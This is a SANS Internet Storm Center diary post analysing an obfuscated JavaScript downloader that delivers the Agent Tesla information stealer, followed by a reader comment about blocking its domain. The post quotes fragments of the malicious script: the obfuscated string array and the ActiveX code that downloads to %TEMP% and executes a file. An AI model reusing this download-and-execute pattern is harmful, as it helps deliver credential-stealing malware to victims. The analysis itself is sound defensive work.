Threat Level: green Handler on Duty: Brad Duncan

SANS ISC: JavaScript Downloader Delivers Agent Tesla Trojan SANS ISC InfoSec Forums

Watch ISC TV. Great for NOCs, SOCs and Living Rooms:

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!
JavaScript Downloader Delivers Agent Tesla Trojan

Yesterday I spotted a piece of JavaScript script that delivers Agent Tesla[1]. New waves of this information stealer trojan are regularly spread to victims. PE files are delivered through downloader scripts attached to phishing emails. Those scripts are regularly updated and the one I found yesterday was interesting. The file was delivered as a 7z archive pretending to content a product catalog. Inside the archive, there was a JavaScript called "Product Specification #87305.js" (SHA256:2c15a96371122649e0c47c4e1af2eff14860a7d8fafc6f71267ea5035d5d4201). The file has a current VT score of 15/55[2].

The file is nicely obfuscated but strings remain readable. Obfuscation techniques have two goals: 

  • Make the malware analyst job more difficult (and prevent the human eye to spot interesting information just by having a look at the code)
  • Defeat security controls in place (IDS, YARA rules, and all types of scanners)

In this case, obfuscation has been used for the second goal. Indeed strings remain readable:

remnux@remnux:/MalwareZoo/20211117$ grep -Eo "https://[^ >']+" Product\ Specification\ #87305.js 

The script is a one-liner but easy to beautify. The most interesting line is this one:

var _0xa4fe8b = [
 'Write','ResponseBody','/Downloader.exe','7219660HUvMZx','1726612MrOKnM','Open','send','WScript.Shell', \
 'Position','open','160894RIiqRQ','8coaNbK','558ryteMc','385460ubOOJO','3TcAywk','CreateObject', \
 '4403030JpxZdM','GET','7228980JDcfGe','Type','Scripting.FileSystemObject','SaveToFile','Close', \

This array is used with the function _0x4fccd5() as seen in this example:

var WshShell=WScript['CreateObject']('WScript.Shell'), \
  filepath=WshShell['ExpandEnvironmentStrings']('%TEMP%')+_0x4fccd5(0x124), \
  url=_0x4fccd5(0x139), \
  xhr=new ActiveXObject('MSXML2.XMLHTTP');

To make the analysis more difficult, the function is aliased to another one (that's why I like JavaScript!):

function _0x2f7e(_0x57e24e,_0x597446)
  var _0x248d35=_0x248d();
  return _0x2f7e=function(_0x2f7e14,_0x486218)
     var _0x38ca6a=_0x248d35[_0x2f7e14];
     return _0x38ca6a;

var _0x4fccd5=_0x2f7e;

The index of the array to use is specified in hexadecimal (Ex: "0x124") and corrected to access the right element.

The script uses the classic ActiveX objects: 'MSXML2.XMLHTTP' to download the file, 'ADODB.Stream' to dump it on the file system and 'WScript.Shell' to execute it.


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

I will be teaching next: Reverse-Engineering Malware: Malware Analysis Tools and Techniques - SANS Threat Hunting London 2022


650 Posts
ISC Handler
Nov 18th 2021
It seems to me a simple way to block the payload would be to add the unobfucated domain, omno[.]ai to the outgoing blocklist in a firewall.

What other ways would allow for more variation in the location but block the payload? would this require a heuristic scan engine? Or is there a more simple protection that would be helpful for avoiding this in the future?

Sign Up for Free or Log In to start participating in the conversation!